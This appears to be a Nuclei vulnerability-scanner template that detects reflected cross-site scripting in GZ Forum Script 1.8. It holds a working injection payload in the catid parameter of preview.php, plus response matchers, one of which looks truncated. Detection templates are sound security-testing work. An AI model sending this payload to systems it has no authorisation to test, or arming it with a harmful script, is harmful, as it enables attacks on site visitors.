id: gz-forum-script-xss info: name: GZ Forum Script 1.8 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it. reference: - https://www.exploit-db.com/exploits/51559 - https://gzscripts.com/gz-forum-script.html metadata: verified: true max-request: 1 tags: gzforum,xss,unauth http: - method: GET path: - "{{BaseURL}}/preview.php?controller=Load&action=index&catid=moztj%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ems3ea&down_up=a" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, ">") && contains(body, "New Topic")' - 'contains(content_type, "text/html")' condition: and # digest: 4a0a00473045022100a8c54695560c315e38751b221c77539e1614299bcaad0046383880c77e8fca0b022036a2cf634429cbab82c74c9633e30a0d31b3acb8babf044601ef51816fdbf453:922c64590222798bb761d5b6d8e72950